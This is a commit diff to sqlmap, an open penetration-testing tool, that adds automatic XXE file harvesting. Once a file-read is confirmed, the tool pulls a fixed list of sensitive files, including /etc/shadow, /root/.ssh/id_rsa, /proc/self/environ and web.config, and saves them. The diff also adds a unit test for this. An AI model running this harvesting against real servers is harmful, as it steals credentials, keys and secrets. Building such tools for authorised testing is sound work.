Minor update

data/txt/sha256sums.txt

@@ -189,10 +189,10 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b  lib/core/enums
 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d  lib/core/replication.py
 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6  lib/core/revision.py
 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c  lib/core/session.py
-2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2  lib/core/settings.py
+f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e  lib/core/settings.py
 c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750  lib/core/shell.py
 a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64  lib/core/subprocessng.py
-15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64  lib/core/target.py
+69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2  lib/core/target.py
 96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8  lib/core/testing.py
 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86  lib/core/threads.py
 b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02  lib/core/unescaper.py
@@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c  lib/techniques
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/xpath/__init__.py
 c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734  lib/techniques/xpath/inject.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/xxe/__init__.py
-e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb  lib/techniques/xxe/inject.py
+b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438  lib/techniques/xxe/inject.py
 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e  lib/utils/api.py
 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2  lib/utils/brute.py
 da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718  lib/utils/crawler.py
@@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22  tests/test_use
 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f  tests/test_wafbypass.py
 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca  tests/test_wordlist.py
 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec  tests/test_xpath.py
-b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7  tests/test_xxe.py
+db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613  tests/test_xxe.py
 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a  thirdparty/ansistrm/ansistrm.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/ansistrm/__init__.py
 f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7  thirdparty/beautifulsoup/beautifulsoup.py

lib/core/settings.py

@@ -20,7 +20,7 @@ from lib.core.enums import OS
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.7.28"
+VERSION = "1.10.7.29"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1121,6 +1121,32 @@ XXE_IMPACT_FILES = (
     ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
 )
 
+# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
+# this curated set of high-value, fixed-path files (host identity, process env/
+# secrets, key material) - the XXE analogue of the automatic dumping the other
+# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
+# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
+# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
+# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
+# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
+XXE_FILE_HARVEST = (
+    "/etc/passwd",
+    "/etc/hostname",
+    "/etc/hosts",
+    "/etc/os-release",
+    "/etc/shadow",
+    "/etc/group",
+    "/proc/self/environ",
+    "/proc/self/cmdline",
+    "/proc/self/status",
+    "/proc/version",
+    "/root/.bash_history",
+    "/root/.ssh/id_rsa",
+    "c:/windows/win.ini",
+    "c:/windows/system32/drivers/etc/hosts",
+    "c:/inetpub/wwwroot/web.config",
+)
+
 # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
 # an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
 # an error/exfil primitive, so no outbound network is needed. (path, entity_name).

lib/core/target.py

@@ -618,7 +618,7 @@ def _createFilesDir():
     Create the file directory.
     """
 
-    if not any((conf.fileRead, conf.commonFiles)):
+    if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
         return
 
     # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)

lib/techniques/xxe/inject.py

@@ -26,6 +26,7 @@ from lib.core.enums import HTTPMETHOD
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import XXE_BLACKHOLE_HOST
 from lib.core.settings import XXE_ERROR_SIGNATURES
+from lib.core.settings import XXE_FILE_HARVEST
 from lib.core.settings import XXE_HARDENED_REGEX
 from lib.core.settings import XXE_IMPACT_FILES
 from lib.core.settings import OOB_POLL_ATTEMPTS
@@ -229,21 +230,50 @@ def _echoed(page):
 def _report(title, payload):
     if conf.beep:
         beep()
-    place = "%s XML body" % (conf.method or HTTPMETHOD.POST)
-    conf.dumper.singleString("---\nParameter: %s\n    Type: XXE injection\n    Title: %s\n    Payload: %s\n---" % (place, title, payload))
+    place = conf.method or HTTPMETHOD.POST
+    conf.dumper.singleString("---\nParameter: XML body (%s)\n    Type: XXE injection\n    Title: %s\n    Payload: %s\n---" % (place, title, payload))
+
+
+def _saveFileRead(remoteFile, content):
+    """Save an XXE-read file to the output directory (parity with '--file-read') and
+    return its local path, or None if it could not be written."""
+    try:
+        return dataToOutFile(remoteFile, getBytes(content))
+    except Exception as ex:
+        logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
+        return None
 
 
 def _dumpFileRead(remoteFile, content):
-    """Save an XXE-read file to the output directory (parity with '--file-read') and
-    list it; fall back to a console dump if the file cannot be written."""
-    try:
-        localPath = dataToOutFile(remoteFile, getBytes(content))
-        if localPath:
-            conf.dumper.rFile([localPath])
-            return
-    except Exception as ex:
-        logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
-    conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
+    """Save a single XXE-read file and list it; fall back to a console dump if the
+    file cannot be written."""
+    localPath = _saveFileRead(remoteFile, content)
+    if localPath:
+        conf.dumper.rFile([localPath])
+    else:
+        conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
+
+
+def _harvestFiles(xml, rootName):
+    """Proactive, best-effort file harvest run once an in-band XXE read primitive is
+    confirmed: pull a curated set of high-value fixed-path files (host identity,
+    process env/secrets, key material) the way the other non-SQL engines auto-dump
+    their reachable data. Returns a list of (path, content, payload) for every file
+    that read back non-empty; unreadable/absent files are silently skipped. Content is
+    de-duplicated so a parser that resolves every missing path to the same stub cannot
+    masquerade as many distinct reads."""
+
+    harvested = []
+    seen = set()
+    for path in XXE_FILE_HARVEST:
+        content, payload = _tryInbandFileRead(xml, rootName, path)
+        if content and content.strip():
+            key = content.strip()
+            if key in seen:
+                continue
+            seen.add(key)
+            harvested.append((path, content, payload))
+    return harvested
 
 
 def _tryInternal(xml, rootName, baseline):
@@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName):
     entity between two random markers so the exact file content can be sliced out
     of the response regardless of surrounding template. Raw file:// works for text
     files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
-    the file content or None."""
+    (content, payload) or (None, None)."""
 
     from lib.core.convert import decodeBase64
 
@@ -303,13 +333,13 @@ def _tryInbandFileRead(xml, rootName, fileName):
             except Exception:
                 continue
         if data and data.strip():
-            return data
-    return None
+            return data, payload
+    return None, None
 
 
 def _tryExternalFile(xml, rootName, baseline):
     """Impact demonstration once XXE is live: read a benign host-identity file via
-    an external general entity. Returns (systemId, snippet) on a confirmed read."""
+    an external general entity. Returns (systemId, payload) on a confirmed read."""
 
     for systemId, pattern in XXE_IMPACT_FILES:
         ent = randomStr(length=8, lowercase=True)
@@ -317,7 +347,7 @@ def _tryExternalFile(xml, rootName, baseline):
         payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
         snippet = _confirmRead(_send(payload), pattern, baseline)
         if snippet:
-            return systemId, snippet
+            return systemId, payload
     return None, None
 
 
@@ -639,8 +669,9 @@ def xxeScan():
     _OOB_CONSENT = None
 
     debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
-    debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration "
-    debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored"
+    debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
+    debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
+    debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
     logger.debug(debugMsg)
 
     xml = _cleanBody()
@@ -661,31 +692,59 @@ def xxeScan():
 
     # T2: in-band reflected DTD/internal-entity expansion. This proves the parser
     # processes entities but is NOT yet file-read impact, so it deliberately does NOT
-    # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still
-    # run to try to upgrade a mere "expansion confirmed" into actual file-read impact.
+    # set `found` on its own - we first try to UPGRADE it to real file-read impact and
+    # then emit a SINGLE report block with the strongest confirmed vector and its real
+    # payload (one report per finding, as with the other non-SQL engines). The internal
+    # expansion is only reported on its own when no external-entity read is reachable.
     payload, page = _tryInternal(xml, rootName, baseline)
     if payload:
         expansionSeen = True
         logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
-        _report("In-band DTD/internal entity expansion", payload)
 
         if conf.get("fileRead"):
-            content = _tryInbandFileRead(xml, rootName, conf.fileRead)
+            content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead)
             if content:
                 found = True
                 logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
-                _report("In-band file read ('%s')" % conf.fileRead, "<in-band reflected read of '%s'>" % conf.fileRead)
+                _report("In-band file read ('%s')" % conf.fileRead, readPayload)
                 _dumpFileRead(conf.fileRead, content)
         else:
-            # benign, in-band impact demonstration (data stays in the response, no third party)
-            systemId, snippet = _tryExternalFile(xml, rootName, baseline)
-            if not systemId:
-                snippet = _tryPhpFilter(xml, rootName, baseline)
-                systemId = "php://filter" if snippet else None
-            if systemId:
+            # No targeted '--file-read': proactively harvest a curated set of high-value
+            # files (data stays in the response, no third party) - the XXE analogue of
+            # the automatic dumping the other non-SQL engines do once confirmed.
+            harvested = _harvestFiles(xml, rootName)
+            if harvested:
                 found = True
-                logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
-                _report("In-band file-read impact (external entity '%s')" % systemId, "<external-entity read of a benign file for impact>")
+                firstPath, _, firstPayload = harvested[0]
+                logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
+                _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
+                saved = []
+                for path, content, _ in harvested:
+                    logger.info("read remote file '%s' (%d bytes)" % (path, len(content)))
+                    localPath = _saveFileRead(path, content)
+                    if localPath:
+                        saved.append(localPath)
+                    else:
+                        conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content))
+                if saved:
+                    conf.dumper.rFile(saved)
+            else:
+                # Harvest read nothing (content relocated in the response, or only benign
+                # host-identity is exposed): fall back to the pattern-based impact proof
+                # so file-read impact is still confirmed.
+                systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
+                if not systemId:
+                    readPayload = _tryPhpFilter(xml, rootName, baseline)
+                    systemId = "php://filter" if readPayload else None
+                if systemId:
+                    found = True
+                    logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
+                    _report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
+
+        if not found:
+            # external entities are disabled (only internal expansion is reachable):
+            # report that weaker-but-real finding with its actual payload
+            _report("In-band DTD/internal entity expansion", payload)
 
     # T3: error-based (works where entities are not reflected but errors leak). A
     # redundant detection channel once in-band reflection was already seen, so it is

tests/test_xxe.py

@@ -239,7 +239,35 @@ class TestReportMethod(unittest.TestCase):
             xxe._report("Title", "Payload")
         finally:
             conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
-        self.assertIn("PUT XML body", captured[0])
+        self.assertIn("Parameter: XML body (PUT)", captured[0])
+
+
+class TestHarvestFiles(unittest.TestCase):
+    def test_harvest_collects_dedups_and_skips_empty(self):
+        # simulate a target that returns real content for two files, an empty read for
+        # one (skipped), and an identical stub for the rest (deduped to a single entry)
+        def _fake(xml, rootName, path):
+            if path == "/etc/passwd":
+                return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd"
+            if path == "/etc/hostname":
+                return "host01\n", "PAYLOAD-hostname"
+            if path == "/etc/hosts":
+                return "   ", "PAYLOAD-empty"   # whitespace-only -> skipped
+            return "same stub", "PAYLOAD-stub"  # identical for every other path -> deduped
+
+        old = xxe._tryInbandFileRead
+        xxe._tryInbandFileRead = _fake
+        try:
+            harvested = xxe._harvestFiles("<user><name>x</name></user>", "user")
+        finally:
+            xxe._tryInbandFileRead = old
+
+        paths = [p for p, _, _ in harvested]
+        self.assertIn("/etc/passwd", paths)
+        self.assertIn("/etc/hostname", paths)
+        self.assertNotIn("/etc/hosts", paths)          # empty read skipped
+        self.assertEqual(paths.count("/etc/passwd"), 1)
+        self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1)  # stub deduped
 
 
 class TestOobBase64Capture(unittest.TestCase):